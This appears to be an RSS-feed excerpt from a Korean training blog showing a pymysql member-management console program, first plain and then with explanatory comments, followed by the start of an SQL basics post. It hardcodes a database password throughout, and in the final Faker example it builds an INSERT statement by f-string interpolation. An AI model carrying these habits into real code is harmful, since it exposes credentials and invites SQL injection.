                        add_member()
                    else :
                        main()
                else:
                    print(&quot;회원 정보를 등록하는데 실패했습니다.&quot;)
                    conn.rollback()
                    main()
        except pymysql.MySQLError as e:
            print(e) 
    else :
        YN =ans_check(&quot;회원 등록을 취소했습니다.\n다시 등록하시겠습니까? (Y : 등록 / N : 메인 메뉴) : &quot;, (&#39;Y&#39;, &#39;N&#39;))
        if YN == &#39;Y&#39; :
            add_member()
        else :
            print(&quot;회원 등록을 취소합니다.&quot;)
            main()


def search_member() :
    print_title(&quot;회원 검색&quot;)
    name = input_check(&quot;이름 : &quot;, add_name_check)
    print_double_line()

    YN = ans_check(&#39;검색하시겠습니까? (Y : 검색 / N : 취소) : &#39;, (&#39;Y&#39;, &quot;N&quot;))
    if YN == &#39;Y&#39; :
        query = &quot;SELECT * FROM members WHERE member_name like %s&quot;
        try:
            with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                                db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor, autocommit=True) as conn:


                curr = conn.cursor()
                count = curr.execute(query, (&#39;%&#39;+name+&#39;%&#39;,))
                results = curr.fetchall()
                print_title(f&#39;회원 검색 결과 (총 {count}건)&#39;)

                if count == 0 :
                    print(&quot;일치하는 결과가 없습니다. 다시 검색해 주세요.&quot;)
                    search_member()
                else :
                    id_nums = []
                    for result in results :
                        id_nums.append(str(result[&#39;member_id&#39;]))
                        print(f&quot;{result[&#39;member_id&#39;]} : {result[&#39;member_name&#39;]}&quot;)
                    print_single_line()
                    id_nums.append(&#39;N&#39;)            
                    detail_member(id_nums)               
        except pymysql.MySQLError as e:
            print(e) 
    else :
        YN =ans_check(&quot;회원 검색을 취소했습니다.\n다시 검색하시겠습니까? (Y : 검색 / N : 메인 메뉴) : &quot;, (&#39;Y&#39;, &#39;N&#39;))
        if YN == &#39;Y&#39; :
            search_member()
        else :
            print(&quot;회원 검색을 취소합니다.&quot;)
            main()


def detail_member(id_nums) :
    id_num = ans_check(&quot;회원 상세 조회 하시겠습니까? (번호 : 상세 조회 / N : 메인 메뉴) : &quot;, id_nums)
    if id_num == &#39;N&#39; :
        print(&#39;상세 조회를 취소합니다.&#39;)
        main()
    else :
        print_title(&#39;회원 상세 조회&#39;)
        query = &quot;SELECT * FROM members WHERE member_id = %s&quot;
        try:
            with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                                db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor, autocommit=True) as conn:

                curr = conn.cursor()
                curr.execute(query, (id_num,))
                member = curr.fetchone()

                print(f&quot;ID : {member[&#39;member_id&#39;]}&quot;)
                print(f&quot;이름 : {member[&#39;member_name&#39;]}&quot;)
                print(f&quot;나이 : {member[&#39;member_age&#39;]}&quot;)
                print(f&quot;이메일 : {member[&#39;member_email&#39;]}&quot;)

                print_double_line()

                UDN = ans_check(&#39;어떤 작업을 하시겠습니까? (U : 수정 / D : 삭제 / N : 메인 메뉴) : &#39;, 
                                (&#39;U&#39;, &#39;D&#39;,&#39;N&#39;))
                if UDN == &#39;U&#39; :
                    update_member(member[&#39;member_id&#39;])
                elif UDN == &#39;D&#39; :
                    delete_member(member[&#39;member_id&#39;])
                else :
                    main()
        except pymysql.MySQLError as e:
            print(e)


def update_member(id) :
    print_title(&#39;회원 수정&#39;)
    query = &quot;SELECT * FROM members WHERE member_id = %s&quot;
    try:
        with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                            db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:

            curr = conn.cursor()
            curr.execute(query, (id,))
            member = curr.fetchone()

            print(f&quot;ID : {member[&#39;member_id&#39;]}&quot;)
            print(f&quot;이름 : {member[&#39;member_name&#39;]}&quot;)
            print(f&quot;나이 : {member[&#39;member_age&#39;]}&quot;)
            print(f&quot;이메일 : {member[&#39;member_email&#39;]}&quot;)
            print_double_line()

            age = input_check(&quot;나이 : &quot;, add_age_check)
            email = input_check(&#39;이메일 : &#39;, add_email_check)
            YN = ans_check(&quot;수정할까요? (Y : 수정 / N : 취소) : &quot;, (&quot;Y&quot;, &quot;N&quot;))

            if YN == &#39;N&#39; :
                YSN = ans_check(f&quot;{member[&#39;member_name&#39;]} 수정을 취소했습니다.\n&quot;
                               f&quot;{member[&#39;member_name&#39;]} 다시 수정하시려면 Y, 다른 검색 하시려면 S를 입력하세요.&quot;
                               &quot; (Y : 수정 / S : 검색 / N : 메인 메뉴) : &quot;,
                               (&quot;Y&quot;, &#39;S&#39;, &quot;N&quot;))
                if YSN == &quot;Y&quot; :
                    update_member(id)
                elif YSN == &#39;S&#39; :
                    print(&quot;수정 취소 합니다.&quot;)
                    search_member()
                else :
                    print(&quot;수정 취소 합니다.&quot;)
                    main()
            else :
                query = &quot;UPDATE members SET member_age = %s, member_email = %s WHERE member_id = %s&quot;
                count = curr.execute(query, (age, email, id))
                if count == 1 :
                    print(&quot;회원 정보를 정상적으로 수정했습니다.&quot;)
                    conn.commit()
                    main()
                else:
                    print(&quot;회원 정보를 등록하는데 실패했습니다.&quot;)
                    conn.rollback()
                    main()
    except pymysql.MySQLError as e:
            print(e)


def delete_member(id) :
    YN = ans_check(&quot;회원 정보를 삭제하시겠습니까? (Y : 삭제 / N : 취소) : &quot;, (&#39;Y&#39;, &#39;N&#39;))
    if YN== &#39;N&#39; :
        print(&quot;회원 정보 삭제를 취소했습니다.&quot;)
        main()
    else :
        query = &#39;DELETE FROM members WHERE member_id = %s&#39;
        try:
            with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                            db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:

                curr = conn.cursor()
                count = curr.execute(query, (id,))

                if count == 1 :
                    print(&quot;회원 정보를 정상적으로 삭제했습니다.&quot;)
                    conn.commit()
                    main()
                else:
                    print(&quot;회원 정보를 삭제하는데 실패했습니다.&quot;)
                    conn.rollback()
                    main()
        except pymysql.MySQLError as e:
            print(e)

if __name__ == &quot;__main__&quot;:
    main()</code></pre>
<br>

<h1 id="3-실습-코드-설명"><strong>3. 실습 코드 설명</strong></h1>
<p>실습 코드 설명은 주석문이 많아서 가돈성이 떨어지지만 이해한 만큼 최대한 자세히 설명하려고 노력했다.</p>
<br>

<pre><code class="language-py">import pymysql                          # pymysql 모듈을 사용하기 위한 import
import re                               # re 모듈을 사용하기 위한 import

def print_double_line() :               # &#39;=&#39;을 26번 출력하는 함수
    print(f&#39;{&#39;=&#39; * 26}&#39;)

def print_single_line() :               # &#39;-&#39;을 26번 출력하는 함수
    print(f&quot;{&#39;-&#39; * 26}&quot;)

def print_title(title) :                # 메뉴의 타이틀을 출력하는 함수, 매개변수로 title을 받음
    print()                             # 이전 작업과 분리하기 위한 개행
    print_double_line()
    print(title)                        # 받은 매개변수 출력
    print_single_line()

def ans_check(message, user_input) :    # 사용자의 answer를 체크하는 함수, 매개 변수로 message와 user_input을 받음
    while True:                         # while 무한 루프 
        i = input(message).upper()      # 받은 메시지는 출력하고, 사용자 입력을 받아 대문자로 변환 후 i에 저장
        if i in user_input :            # 사용자가 입력한 i에 user_input 튜플에 지정된 유효한 옵션 중 하나인지 확인
            return i                    # 옵션에 있는 입력 값이면 i를 반환
        else:                           # 그렇지 않으면 print를 출력 후 while문 다시 실행
            print(&quot;잘못된 입력입니다. 확인 후 다시 입력해 주세요.&quot;)

def print_main_menu():                  # 메인 메뉴를 출력하는 함수
    print_title(&#39;메뉴&#39;)                 # print_title() 함수에 매개변수로 &#39;메뉴&#39;를 넘김
    print(&#39;I : 회원 등록&#39;)
    print(&#39;S : 회원 검색&#39;)
    print(&#39;Q : 종료&#39;)
    print_double_line()

def main() :                            # 이 스크립트의 메인 함수
    print_main_menu()                   # 메인 메뉴 출력

    # menu 변수에 ans_check의 값을 저장 message를 주고 사용자의 입력은 &quot;I&quot;, &quot;S&quot;, &quot;Q&quot;로 제한하는 옵션을 붙임 
    menu = ans_check(&#39;메뉴를 입력하세요 : &#39;, (&quot;I&quot;, &quot;S&quot;, &quot;Q&quot;))   
    if menu == &#39;I&#39; :            # menu의 값이 I라면
        add_member()            # add_member() 함수 실행
    elif menu == &#39;S&#39; :          # menu의 값이 S라면
        search_member()         # search_member() 함수 실행
    else :                      # 둘 다 아니면 종료 이때 elif를 사용해도 되지만 if 문의 연산을 한 번 더 하기 때문에
        print(&quot;종료합니다.&quot;)    # 효율적이지 못해 eles를 사용

def add_name_check(name):                   
    return bool(re.match(&#39;^[가-힣]+$&#39;, name))   
    # 사용자가 입력한 name의 문자열이 처음부터 끝까지 한국어 문자 범위와 하나 이상의 문자가 
    # 이 정규 표현식 패턴과 일치하는지 확인 후 True 또는 False 반환하는 함수
    # 이렇게 해야 특수문자 및 숫자도 검사 됨
    # &quot;[가-힣]+&quot;, &quot;^[가-힣]+&quot;으로 했을 때 &quot;가!&quot;를 입력하면 범위 중 한 개 이상 매치 되므로 오류 없이 통과됨
    # &quot;[가-힣]+$&quot;, 이렇게만 써도 특수문자 및 숫자도 검사되지만, ^을 써줌으로써 처음부터 끝까지라는 범위가 생김

def add_age_check(age) :           
    return bool(re.match(r&#39;^([1-9]|[1-9][0-9]|1[0-4][0-9]|150)$&#39;, age))     
    # 사용자가 입력한 age의 문자열이 처음부터 끝까지 1에서 150까지 범위와 일치하는지
    # 확인 후 True 또는 False 반환하는 함수


def add_email_check(email) :        
    return bool(re.match(r&#39;^[a-zA-Z0-9_-]+@[a-zA-Z0-9]+\.[a-zA-Z]{2,}$&#39;, email)) 
    # 사용자가 입력한 eamil의 문자열이 처음부터 끝까지 이 정규 표현식 패턴과 일치하는지
    # 확인 후 True 또는 False 반환하는 함수
    # [a-zA-Z0-9_-] a-z 영어 소문자, A-Z 영어 대문자, 숫자, 특수문자 &quot;_&quot;, &quot;-&quot;를 포함 
    # 아이디 부분에 다른 특수문자도 포함하고 싶다면 특수문자 &quot;-&quot; 뒤에 추가 입력하면 됨 *(네이버 아이디 기준을 따름)
    # &quot;@&quot;는 아이디와 도메인 네임 중간에 필수 포함
    # [a-zA-Z0-9] a-z 영어 소문자, A-Z 영어 대문자, 숫자
    # &quot;\.&quot; 이스케이프 문자로 .을 표현 도네임 네임과 최상위 도메인을 구분을 위해 필수 포함
    # [a-zA-Z]{2,} a-z 영어 소문자, A-Z 영어 대문자


def input_check(message, pattern_name) :   
    # add_member()에서 사용자 입력값을 검사하는 함수, 정규 표현식 체크 함수의 이름을 매개변수로 받음   

    while True :                      # while 무한 루프
        user_input = input(message)   # message를 보여주고 사용자 입력을 user_input에 저장
        if pattern_name(user_input) : # 받아온 정규 표현식 함수 이름을 넣고 사용자 입력을 매개변수로 넘김
            return user_input         # 각 정규 표현식 체크에서 True가 반환되면 if문이 실행 돼서 uesr_input을 반환
        else :                        # 정규 표현식 패턴 체크에서 False가 반환되면 else문 실행
            print(&quot;입력이 잘못되었습니다. 다시 입력하세요&quot;)    # 문자열 출력 후 while문 다시 실행


def add_member():               # 회원 등록 함수 
    print_title(&#39;회원 등록&#39;)    # print_title() 함수에 매개변수로 &#39;회원 등록&#39;을 넘김

    name = input_check(&quot;이름 : &quot;, add_name_check) 
    # 사용자가 입력한 값을 add_name_check() 함수에서 True를 반환하면 name에 저장 

    age = input_check(&quot;나이 : &quot;, add_age_check)
    # 사용자가 입력한 값을 add_age_check() 함수에서 True를 반환하면 age에 저장 

    email = input_check(&#39;이메일 : &#39;, add_email_check)
    # 사용자가 입력한 값을 add_email_check() 함수에서 True를 반환하면 email에 저장 

    print_single_line()

    YN = ans_check(&#39;등록하시겠습니까? (Y : 등록 / N : 취소) :&#39;, (&#39;Y&#39;, &quot;N&quot;))
    # 사용자가 입력한 값을 ans_check에서 확인 후 YN에 Y 또는 N 저장

    if YN == &#39;Y&#39; :  # YN이 Y라면
        query = &quot;INSERT INTO members (member_name, member_age, member_email) VALUES (%s, %s, %s)&quot;
        # query에 SQL문을 저장 members 테이블에 각 컬럼들에 값을 매개변수로 받아 INSERT 함

        try:        # 오류를 처리하기 위한 try - except 구문
            with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                                db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:
                # with문으로 pymysql을 실행, with문으로 실행함으로써 with문를 벗어나는 순간 자동으로 close 함

                curr = conn.cursor()    # 커서를 생성해서 입력 쿼리를 실행
                count = curr.execute(query, (name, age, email))
                # 쿼리를 실행할 때 위 정규 표현식 체크가 끝난 변수들을 매개변수로 넘김 

                if count == 1:      # count가 1이면 if문 실행 SQL에 정상적으로 데이터 입력이 되면 실행됨
                    print(&quot;회원 정보를 정상적으로 등록했습니다.&quot;)
                    conn.commit()   # 현재 트랜잭션을 커밋, 변경 사항을 영구적으로 적용
                    yn = ans_check(&#39;추가 등록하시겠습니까? (Y : 등록 / N : 메인 메뉴) :&#39;, (&#39;Y&#39;, &quot;N&quot;))
                    # 메인 메뉴로 바로 가지 않고 추가 등록을 물어보기 위한 사용자 입력 함수
                    # ans_check에서 입력 체크

                    if yn == &#39;Y&#39; :      
                        add_member()    # add_member() 함수를 다시 불러 추가 등록함
                    else :              
                        main()          
                else:                   # count가 1이 아니면 else 실행
                    print(&quot;회원 정보를 등록하는데 실패했습니다.&quot;)
                    conn.rollback()     # 트랜잭션 커밋에 실패하면 변경 사항이 롤백되어 데이터베이스가 
                    main()              # 트랜잭션 시작 전 상태로 되돌아간 후 메인 메뉴로 이동
        except pymysql.MySQLError as e:     # 발생 오류와 오류 변수까지 포함한 except문
            print(e)                        # 오류 내용을 출력
    else :             
        YN =ans_check(&quot;회원 등록을 취소했습니다.\n다시 등록하시겠습니까? (Y : 등록 / N : 메인 메뉴) : &quot;, (&#39;Y&#39;, &#39;N&#39;))
        # 회원 등록 추소 후 메인 메인 메뉴로 바로 가지 않고 다시 등록을 물어보기 위한 사용자 입력 함수
        # ans_check 입력 체크
        if YN == &#39;Y&#39; :      
            add_member()    # add_member() 함수를 다시 불러 처음부터 다시 등록함
        else :              
            print(&quot;회원 등록을 취소합니다.&quot;)    
            main()                              # 메인 메뉴 이동


def search_member() :           # 회원 검색 함수
    print_title(&quot;회원 검색&quot;)    # print_title() 함수에 매개변수로 &#39;회원 검색&#39;을 넘김
    name = input_check(&quot;이름 : &quot;, add_name_check)     # 사용자 입력 정규 표현식 체크
    print_double_line()

    YN = ans_check(&#39;검색하시겠습니까? (Y : 검색 / N : 취소) : &#39;, (&#39;Y&#39;, &quot;N&quot;))    # 검색을 위한 사용자 answer 체크
    if YN == &#39;Y&#39; :     
        query = &quot;SELECT * FROM members WHERE member_name like %s&quot;
        # SELECT문으로 members 테이블 member_name의 모든 열 중 사용자 입력값을 포함한 행을 반환

        try:           
            with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                                db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor, autocommit=True) as conn:

                curr = conn.cursor()
                count = curr.execute(query, (&#39;%&#39;+name+&#39;%&#39;,))
                results = curr.fetchall()   # 커서로부터 모든 행(레코드)을 반환
                print_title(f&#39;회원 검색 결과 (총 {count}건)&#39;) # print_title() 함수에 매개변수로 문자열을 넘김

                if count == 0 :
                    print(&quot;일치하는 결과가 없습니다. 다시 검색해 주세요.&quot;)
                    search_member()             # 다시 검색을 위해 search_member() 함수 부름
                else :
                    id_nums = []                # id 번호를 저장하기 위한 리스트
                    for result in results :     # 검색한 모든 결과가 들어있는 results에서 하나씩 result에 넣음
                        id_nums.append(str(result[&#39;member_id&#39;]))    # id 번호를 id_nums에 str로 추가
                        print(f&quot;{result[&#39;member_id&#39;]} : {result[&#39;member_name&#39;]}&quot;)   
                        # 검색한 결과를 ID : 이름으로 출력
                    print_single_line()
                    id_nums.append(&#39;N&#39;)     # id_num 리스트에는 id 번호만 있는데 N이 없을 경우          
                    detail_member(id_nums)  # detail_member()에서 N을 사용할 수 없어 
                                            # 잘못된 입력이라고 버그 남 그렇기 때문에 N을 추가  (!!중요!!)
                                            # id_nums에는 (예 : [1, 12, 24, N]) 마지막에 N이 같이 저장됨              
        except pymysql.MySQLError as e:     
            print(e)                        
    else :
        YN =ans_check(&quot;회원 검색을 취소했습니다.\n다시 검색하시겠습니까? (Y : 검색 / N : 메인 메뉴) : &quot;, (&#39;Y&#39;, &#39;N&#39;))
        # 메인 메뉴로 바로가지 않고 다시 검색 질문
        if YN == &#39;Y&#39; :
            search_member()     # 다시 검색을 원하면 search_member() 실행
        else :
            print(&quot;회원 검색을 취소합니다.&quot;)
            main()


def detail_member(id_nums) :    # 회원 상세 조회 함수
    id_num = ans_check(&quot;회원 상세 조회 하시겠습니까? (번호 : 상세 조회 / N : 메인 메뉴) : &quot;, id_nums)
    if id_num == &#39;N&#39; :
        print(&#39;상세 조회를 취소합니다.&#39;)
        main()
    else :
        print_title(&#39;회원 상세 조회&#39;)
        query = &quot;SELECT * FROM members WHERE member_id = %s&quot;
        # 여기서 정확한 한 명의 회원 상세 조회이기 때문에 like 아니고 = 으로 함 
        try:
            with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                                db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor, autocommit=True) as conn:

                curr = conn.cursor()
                curr.execute(query, (id_num,))
                member = curr.fetchone()    # 커서로부터 하나의 행(레코드)을 반환, 한 사람 것만 가져오면 됨

                print(f&quot;ID : {member[&#39;member_id&#39;]}&quot;)
                print(f&quot;이름 : {member[&#39;member_name&#39;]}&quot;)
                print(f&quot;나이 : {member[&#39;member_age&#39;]}&quot;)
                print(f&quot;이메일 : {member[&#39;member_email&#39;]}&quot;)

                print_double_line()

                UDN = ans_check(&#39;어떤 작업을 하시겠습니까? (U : 수정 / D : 삭제 / N : 메인 메뉴) : &#39;, 
                                (&#39;U&#39;, &#39;D&#39;,&#39;N&#39;))     # 다음 작업을 위한 사용자 answer 체크
                if UDN == &#39;U&#39; :
                    update_member(member[&#39;member_id&#39;])  # 회원 수정 함수로 이동
                elif UDN == &#39;D&#39; :
                    delete_member(member[&#39;member_id&#39;])  # 회원 삭제 함수로 이동
                else :
                    main()

        except pymysql.MySQLError as e:
            print(e)


def update_member(id) :         # 회원 수정 함수
    print_title(&#39;회원 수정&#39;)    # print_title() 함수
    query = &quot;SELECT * FROM members WHERE member_id = %s&quot;
    # 위 상세 조회와 같이 하나만 가져오면 되기 때문에 &quot;=&quot;
    try:
        with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                            db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:

            curr = conn.cursor()
            curr.execute(query, (id,))
            member = curr.fetchone()    # 커서로부터 하나의 행(레코드)을 반환, 한 사람 것만 가져오면 됨

            print(f&quot;ID : {member[&#39;member_id&#39;]}&quot;)
            print(f&quot;이름 : {member[&#39;member_name&#39;]}&quot;)
            print(f&quot;나이 : {member[&#39;member_age&#39;]}&quot;)
            print(f&quot;이메일 : {member[&#39;member_email&#39;]}&quot;)
            print_double_line()

            age = input_check(&quot;나이 : &quot;, add_age_check)
            email = input_check(&#39;이메일 : &#39;, add_email_check)
            YN = ans_check(&quot;수정할까요? (Y : 수정 / N : 취소) : &quot;, (&quot;Y&quot;, &quot;N&quot;))

            if YN == &#39;N&#39; :
                YSN = ans_check(f&quot;{member[&#39;member_name&#39;]} 수정을 취소했습니다.\n&quot;
                               f&quot;{member[&#39;member_name&#39;]} 다시 수정하시려면 Y, 다른 검색 하시려면 S를 입력하세요.&quot;
                               &quot; (Y : 수정 / S : 검색 / N : 메인 메뉴) : &quot;,
                               (&quot;Y&quot;, &#39;S&#39;, &quot;N&quot;))
                # 방금 수정 중인 사람의 수정을 다시 하기 또는 다른 사람 검색을 위한 변수
                if YSN == &quot;Y&quot; :
                    update_member(id)   
                    # 매개변수를 id로 받기 때문에 방금 수정 작업하던 데이터만 수정 가능 
                elif YSN == &#39;S&#39; :
                    print(&quot;수정 취소 합니다.&quot;)
                    search_member()     
                    # 위의 문제로 다른 데이터를 수정하기 위해서는 처음부터 다시 검색해야 함
                else :
                    print(&quot;수정 취소 합니다.&quot;)
                    main()
            else :
                query = &quot;UPDATE members SET member_age = %s, member_email = %s WHERE member_id = %s&quot;
                # members 테이블에 사용자가 입력한 member_id에서 
                # member_age와 member_email을 사용자 입력 값으로 변경 

                count = curr.execute(query, (age, email, id)) 
                # 쿼리 실행 시 사용자 입력 값을 매개변수로 넘김

                if count == 1 :
                    print(&quot;회원 정보를 정상적으로 수정했습니다.&quot;)
                    conn.commit()
                    main()
                else:
                    print(&quot;회원 정보를 등록하는데 실패했습니다.&quot;)
                    conn.rollback()
                    main()
    except pymysql.MySQLError as e:
            print(e)


def delete_member(id) :     #회원 정보 삭제 함수, 매개변수 id 받음
    YN = ans_check(&quot;회원 정보를 삭제하시겠습니까? (Y : 삭제 / N : 취소) : &quot;, (&#39;Y&#39;, &#39;N&#39;))
    if YN== &#39;N&#39; :
        print(&quot;회원 정보 삭제를 취소했습니다.&quot;)
        main()
    else :
        query = &#39;DELETE FROM members WHERE member_id = %s&#39;
        # members 테이블에 사용자가 입력한 member_id를 삭제
        try:
            with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                            db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:

                curr = conn.cursor()
                count = curr.execute(query, (id,))

                if count == 1 :
                    print(&quot;회원 정보를 정상적으로 삭제했습니다.&quot;)
                    conn.commit()
                    main()
                else:
                    print(&quot;회원 정보를 삭제하는데 실패했습니다.&quot;)
                    conn.rollback()
                    main()
        except pymysql.MySQLError as e:
            print(e)

if __name__ == &quot;__main__&quot;:  
    # 직접 이 파일을 실행했을 때 True가 돼 if문 실행 
    # 인터프리터나 다른 파일에서 이 모듈을 불러 사용할 때는 False가 돼 if문 실행 안 함
    main()</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][SQL] - SQL]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0SQL-SQL</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0SQL-SQL</guid>
            <pubDate>Tue, 19 Mar 2024 14:58:27 GMT</pubDate>
            <description><![CDATA[<h1 id="1-sql-연결-실행-순서"><strong>1. SQL 연결, 실행 순서</strong></h1>
<p><img src="https://velog.velcdn.com/images/en_geon/post/6bb21e81-c2da-410a-af3a-4926446cfb27/image.png" alt="" title="SQL 연결, 실행 순서"></p>
<p>데이터베이스와 연동을 하기 위해서는  데이터베이스와 연결을 해야 한다. 이때 connect() 메서드를 사용한다.</p>
<p>연결이 되면 연결 객체가 만들어지는데 객체 안에는 커서라는 게 있다. 커서란 애플리캐이션 하고 데이터베이스 쪽에  서로 SQL 문을 전달하고 데이터베이스에서 그 SQL문을 실행한 결과를 받아오는 역할을 한다. SQL 문과 실행결과를 실어 나르는 객체다.</p>
<p>SQL 문을 실행을 전달할 때는 커서의 execute 함수를 사용한다.</p>
<p>commit()은 앞에서 했던 작업들을 DB에 반영되도록 하는 함수</p>
<p>close() 연결을 닫아 준다.</p>
<br>

<h1 id="2-sql-유형"><strong>2. SQL 유형</strong></h1>
<br>

<table>
<thead>
<tr>
<th align="center"><strong>명령어 종류</strong></th>
<th align="center"><strong>명령어</strong></th>
<th><strong>설명</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="center">데이터 조작어      (DML : Data   Manipulation Language)</td>
<td align="center">SELECT</td>
<td>데이터베이스에 들어 있는 데이터를 조회하거나 검색하기 위한 명령어를 말하는 것으로 RETRIEVE라고도 함</td>
</tr>
<tr>
<td align="center">데이터 조작어      (DML : Data   Manipulation Language)</td>
<td align="center">INSERT      UPDATE      DELETE</td>
<td>데이터베이스의 테이블에 들어 있는 데이터에 변형을 가하는 종류(데이터 삽입, 수정, 삭제)의 명령어들을 말함.</td>
</tr>
<tr>
<td align="center">데이터 정의어      (DDL : Data Definition   Language)</td>
<td align="center">CREATE      ALTER      DROP      RENAME      TRUNCATE</td>
<td>테이블과 같은 데이터 구조를 정의하는 데 사용되는 명령어들로 (생성, 변경, 삭제, 이름변경) 데이터 구조와 관련된 명령어들을 말함.</td>
</tr>
<tr>
<td align="center">데이터 제어어      (DCL : Data Control   Language)</td>
<td align="center">GRANT      REVOKE</td>
<td>데이터베이스에 접근하고 객체들을 사용하도록 권한을 주고 회수하는 명령어</td>
</tr>
<tr>
<td align="center">트랜잭션 제어어      (TCL : Transaction   Control Language)</td>
<td align="center">COMMIT      ROLLBACK      SAVEPOINT</td>
<td>논리적인 작업의 단위를 묶어서 DML에 의해 조작된 결과를 작업단위(트랜잭션) 별로 제어하는 명령어</td>
</tr>
</tbody></table>
<ul>
<li>DML은 저장되어 있는 데이터를 조작</li>
<li>DDL은 데이터가 저장되는 공간을 조작</li>
<li>DCL은 데이터베이스 자체를 제어 </li>
<li>TCL은 하나의 단위 업무로서 처리해야 하는 것</li>
</ul>
<br>

<h1 id="3-데이터-조회"><strong>3. 데이터 조회</strong></h1>
<pre><code class="language-py">import pymysql

# 데이터베이스에 연결을 생성
try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;,
                         passwd=&quot;qwert12345&quot;, db=&quot;sampledb&quot;) as conn:
        # 조회 쿼리를 작성
        query = &quot;select member_id, member_name, member_age, member_email from members&quot;

        # 커서를 생성해서 조회 쿼리를 실행
        curr = conn.cursor()
        curr.execute(query)

        # 조회 결과를 출력
        for c in curr:
            print(c)

except pymysql.MySQLError as e:
    print(e)</code></pre>
<ul>
<li>출력 : (1, &#39;홍길동&#39;, 23, &#39;hong@test.com&#39;)</li>
<li><strong><a href="https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0SQL-%EC%8B%A4%EC%8A%B5-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%84%B1">SQL 실습 환경 구성</a></strong>에서 넣었던 테스트 데이터가 출력</li>
<li>cursorclass를 지정하지 않으면 SELECT 결과를 값으로 구성된 튜플 타입으로 리턴</li>
</ul>
<br>

<pre><code class="language-py">import pymysql

# 데이터베이스에 연결을 생성
try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;,
                         passwd=&quot;qwert12345&quot;, db=&quot;sampledb&quot;,
                         cursorclass=pymysql.cursors.DictCursor) as conn:
        # 조회 쿼리를 작성
        query = &quot;select member_id, member_name, member_age, member_email from members&quot;

        # 커서를 생성해서 조회 쿼리를 실행
        curr = conn.cursor()
        curr.execute(query)

        # 조회 결과를 출력
        for c in curr:
            print(c)

except pymysql.MySQLError as e:
    print(e)</code></pre>
<ul>
<li>출력 : {&#39;member_id&#39;: 1, &#39;member_name&#39;: &#39;홍길동&#39;, &#39;member_age&#39;: 23, &#39;member_email&#39;: &#39;hong@test.com&#39;}</li>
<li>cursorclass를 pymysql.cursors.DictCursor으로 설정</li>
<li>cursorclass를 설정하면 SELECT 결과를 컬럼 이름과 값으로 구성된 딕셔너리를 반환</li>
</ul>
<br>

<h1 id="4-데이터베이스-접속"><strong>4. 데이터베이스 접속</strong></h1>
<pre><code class="language-py">import pymysql

pymysql.connect(host=&quot;localhost&quot;,   # 데이터베이스 주소
    port=3306,                      # 데이터베이스 서비스 포트 (MySQL 기본 포트: 3306)
    user=&quot;springboot&quot;,              # 데이터베이스 접속 계정 
    passwd=&quot;qwert12345&quot;,            # 데이터베이스 사용자 패스워드
    db=&quot;sampledb&quot;                   # 사용할 데이터베이스/스키마
    autocommit=True|False         # INSERT, UPDATE, DELETE 구문 실행 결과를 자동으로 반영할지 여부를 설정
    cursorclass=pymysql.cursors.DictCursor  # SELECT 결과를 컬럼명과 값으로 구성된 dict 타입으로 반환
)</code></pre>
<br>

<h1 id="5-데이터-추가"><strong>5. 데이터 추가</strong></h1>
<h2 id="1-faker-데이터-추가"><strong>1) Faker 데이터 추가</strong></h2>
<pre><code class="language-py">import pymysql
from faker import Faker

try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                         db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:

        curr = conn.cursor()

        fake = Faker(&#39;ko-KR&#39;)
        for i in range(10):        # Faker 데이터를 10개 입력 반복문
            query = f&quot;insert into members (member_name, member_age, member_email) values \
            (&#39;{fake.name()}&#39;, {fake.pyint(10, 30)}, &#39;{fake.email()}&#39;)&quot;
            print(query)
            curr.execute(query)

        conn.commit()            # 10개의 insert 구문의 실행 결과를 DB에 반영

except pymysql.MySQLError as e:
    print(e)</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/94b85c82-669d-419e-9c5e-3279ac5dab2b/image.png" alt="" title="Faker 사용 데이터 추가"></p>
<br>

<h2 id="2-autocommit--true"><strong>2) autocommit = True</strong></h2>
<pre><code class="language-py">import pymysql
from faker import Faker

# 데이터베이스 연결 시 autocommit을 True로 설정

try:
    with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                         db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor,
                         autocommit=True) as conn:

        curr = conn.cursor()

        fake = Faker(&#39;ko-KR&#39;)
        for i in range(10):
